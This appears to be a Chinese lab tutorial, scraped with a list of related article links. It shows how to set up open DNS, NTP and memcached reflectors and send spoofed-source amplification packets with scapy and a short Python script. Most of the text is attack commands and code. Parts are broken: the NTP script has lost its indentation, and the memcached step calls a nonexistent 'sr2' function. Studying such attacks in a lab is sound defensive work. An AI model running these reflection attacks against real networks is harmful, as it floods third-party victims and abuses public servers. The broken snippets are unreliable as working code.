0x01 环境

包含3台主机

attact 作为攻击方,使用Centos7.2

reflect 作为流量放大器,安装有dns 、ntp 、memcached三种可以放大流量的服务

windows_server  ,用于被攻击,同时抓包分析流量 ,任意版本均可。安装wireshark,用于抓包

0x02 步骤

一、DNS放大攻击

登录 reflect机器,安装并配置BIND

yum -y install bind

修改BIND默认配置

vi /etc/named.conf
listen-on port 53 { x.x.x.x; }; //其中x.x.x.x为本机IP地址
//allow-query { localhost; }; //注释此行,允许所有查询

启动服务

systemctl start named

此处需要注意centos7防火墙配置,可以关闭或添加放行规则,否则其它计算机仍然无法使用BIND查询DNS

登录attact机器,安装python 及scapy模块
yum -y install python
yum -y install epel-release
yum -y install python-pip
pip install scapy -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
登录attact机器,安装dig查询工具

dig类似于windows下nslookup

yum install bind-utils

使用tcpdump抓DNS包

tcpdump -i ens33 -c 20 -w dns.pcap 'port 53' //ens33为接口名

使用dig进行any查询

dig any baidu.com @x.x.x.x // x.x.x.x 为reflect服务器IP,即DNS服务器IP

可以看到大量返回值,同时用wireshark打开保存下来的dns.pcap文件。用于后述分析。

登录attact机器,使用scapy构造攻击

关于scapy的使用,可以在互联网上查询。查询协议支持字段可以用如:ls(DNS)

使用scapy读取数据包及显示

pcap=rdpcap("dns.pcap")
pcap[0]

进入scapy,根据wireashark抓包构造如下数据,注意更换源地址和目标地址

源地址:攻击机IP

目的IP:DNS IP

i=IP(src="192.168.164.1",dst="192.168.164.136")
u=UDP()
q=DNSQR(qname="baidu.com",qtype=255)
d=DNS(rd=1,qdcount=1,qd=q)
r=(i/u/d)
sr1(r)

抓包观察效果,尝试伪造源地址,再次发送。

二、NTP放大攻击

登录reflect机器,安装并配置NTP服务

NTP需要4.2.6P5前的版本,可以yum list ntp查看后,yum 安装

centos7.3 直接安装即可

yum -y install ntp

配置NTP :vi /etc/ntp.conf

注释以下两行,允许所有客户端访问

#restrict 127.0.0.1
#restrict ::1

修改下面网段,提高本地访问的权限

 # Hosts on local network are less restricted.
restrict 192.168.164.0 mask 255.255.255.0 nomodify notrap

注释以下一行,开启monitor功能

#disable monitor

保存文件后,启动服务

systemctl start ntpd

登录attactt机器,测试NTP服务器是否正常工作 ,并抓包分析

tcpdump

其中x.x.x.x为 reflect服务器IP

ntpdate x.x.x.x           //测试服务器是否工作
ntpdc -n -c monlist x.x.x.x //获取服务器monlist列表
登录attactt机器,使用脚本构造monlist数据

编写以下python脚本,保存为send_ntp.py

from scapy.all import *
import random
ntp_server = sys.argv[1]
num = int(sys.argv[2])
for i in range(num):
ip = str(random.randint(1,200))+'.192.192.192'
send(IP(dst=ntp_server,src=ip)/UDP(sport=123)/NTP(leap=3,version=4,mode=3))
print(ip)

使用脚本发送查询数据

python send_ntp.py x.x.x.x 100

放大器IP

再次获取monlist查看

ntpdc -n -c monlist x.x.x.x

登录attactt机器,使用scapy构造攻击数据包

注意替换源地址与目标地址

源地址:攻击机IP

目的IP:ntp IP

scapy
i=IP(dst="192.168.164.129",src="192.168.5.5")
u=UDP()
n=NTPPrivate(version=2,mode=7,implementation=3,request_code=42)
send(i/u/n)

三、memcached放大攻击

登录reflect机器,安装并配置MEMCACHED服务
yum -y install memcached		//yum安装memcached
systemctl start memcached //启动memcached服务
netstat -tunl //确认11211 udp端口是否开启
登录attact机器 测试MEMCACHED是否可用
yum -y install telent
telnet x.x.x.x 11211 //x.x.x.x 为reflect服务器IP
stats //查询memcached状态
set 8abc 0 0 80 //设置一个键值,注意对应80为长度
abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123 //看到回显STORED表示成功
get 8abc //获取8abc的值
登录attactt机器,使用scapy构造攻击数据包

这里我们可以用stats查询来放大,也可以用get某一键值,来放大

因为反射攻击需要使用UDP协议,MEMCACHED使用UDP时,需加上\x00\x00\x00\x00\x00\x01\x00\x00

源地址:攻击机IP

目的IP:放大器 IP

scapy
i=IP(src="192.168.164.129",dst="192.168.164.136")
u=UDP(sport=44444,dport=11211)
raw1= "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\nstats\r\n" //设置负载为 stats stats
raw2="\x00\x00\x00\x00\x00\x01\x00\x00get 8abc\r\n" //设置负载为get 8abc,获取8abc键值
sr1(i/u/raw1)
sr2(i/u/raw2)

DDOS反射攻击的更多相关文章

  1. 放大倍数超5万倍的Memcached DDoS反射攻击,怎么破?

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 作者:腾讯游戏云 背景:Memcached攻击创造DDoS攻击流量纪录 近日,利用Memcached服务器实施反射DDoS攻击的事件呈大幅上 ...

  2. DDoS的攻击方法

    DDoS攻击 DDoS攻击的方法 攻击网络带宽资源 我们可以采用对目标的网络带宽资源进行攻击,目的就是浪费对方有限的网络带宽资源,使得目标服务出现网络滞缓直至网络带宽资源匮乏,无法访问或访问速度慢. ...

  3. DDOS攻击与防御简单阐述,列出DDOS的攻击方法和防御方法

    参考1:https://www.hi-linux.com/posts/50873.html#%E7%BD%91%E7%BB%9C%E5%B1%82-ddos-%E6%94%BB%E5%87%BB 什么 ...

  4. DDOS的攻击原理和防护指南(转)

    DDOS的攻击原理和防护指南 作者:冰盾防火墙 网站:www.bingdun.com 日期:2008-01-07   我们现在来分析DDOS的攻击原理.     首先,DDOS是英文Distribut ...

  5. linux ddos防御攻击

    Linux Ddos防御攻击 [root@lxh ~]# netstat -ntu |awk '{print $5}'|grep '[0-9]'|cut -d: -f1 |sort |uniq -c| ...

  6. DDOS的攻击原理和防护指南

    我们现在来分析DDOS的攻击原理. 首先,DDOS是英文Distributed Denial of Service的缩写,意思是分布式拒绝服务.拒绝服务又是什么意思呢?就是采取一些垃圾数据包来阻塞网站 ...

  7. DDOS的攻击原理和如何防护网站和游戏恶意攻击

    DDOS的攻击原理和如何防护网站和游戏恶意攻击                 1-DDOS全名是Distribution Denial of Service (分布式拒绝服务攻击),很多DOS攻击源 ...

  8. 常见的 CSRF、XSS、sql注入、DDOS流量攻击

    CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...

  9. 不可不知 DDoS的攻击原理与防御方法

    DoS攻击.DDoS攻击和DRDoS攻击相信大家已经早有耳闻了吧!DoS是Denial of Service的简写就是拒绝服务,而DDoS就是Distributed Denial of Service ...

随机推荐

  1. MySQL数据备份/导出 创建用户及其删除

    Mysql DCL 创建用户 create user '用户名'@'localhost(本机访问)/%(通配符任何ip地址都可访问本机) 分配权限 grant 权限 on 数据库.表名 to '用户名 ...

  2. 我来教你如何用Docker部署最近火爆的人生重开模拟器

    文章目录 获取项目源码包 Dockerfile 构建docker镜像 启动docerk容器 访问liferestart 如果人生可以重来... <可惜没如果> github项目地址:htt ...

  3. 练习推导一个最简单的BP神经网络训练过程【个人作业/数学推导】

    写在前面   各式资料中关于BP神经网络的讲解已经足够全面详尽,故不在此过多赘述.本文重点在于由一个"最简单"的神经网络练习推导其训练过程,和大家一起在练习中一起更好理解神经网络训 ...

  4. Jenkins+allure集成报告构建

    1.点击新建item,新建一个job 对这个job进行配置 General模块,点击高级 勾选自定义的工作空间,填写项目目录 构建触发器和构建环境先不填写 构建模块,填写python main.py, ...

  5. windows上安装foremost

    做CTF题需要这工具来提取文件里的隐藏文件, 网上大部分是linux版本,之前好不容易找了一个exe文件结果还不能用.找了很长时间终于找到了: https://github.com/raddyfiy/ ...

  6. 说出来你可能不信,我用excel就能做一张高端的统计报表

    统计报表是指各级企事业.行政单位按规定的表格形式.内容.时间要求报送程序,自上而下统一布置,提供统计资料的一种统计调查方式.统计报表具有来源可靠.回收率高.方式灵活等特点,是各个基层企业或事业单位填报 ...

  7. 【windows 操作系统】窗口指针 和 窗口句柄 有什么区别

    句柄是指针的"指针" 指针对应着一个数据在内存中的地址,得到了指针就可以自由地修改该数据.Windows并不希望一般程序修改其内部数据结构,因为这样太不安全.所以Windows给每 ...

  8. WeifenLuo.WinFormsUI.Docking 简单入门

      WinForm布局,开源且好用的貌似不多,WeifenLuo.WinFormsUI.Docking 这个是其中之一,这个唯一的不好地方,就是没有文档,只能通过读源码,不过它源码里面也提供了一个例子 ...

  9. 【Oracle】PLSQL如何更新、提交数据库中数据

    转至:https://blog.csdn.net/Bee_AI/article/details/89279612 Oracle更新单表数据时,一般使用SELECT--FOR UPDATE语句,这条语句 ...

  10. 无状态子域名爆破工具:ksubdomain

    概述 开源地址:https://github.com/knownsec/ksubdomain 二进制文件下载:https://github.com/knownsec/ksubdomain/releas ...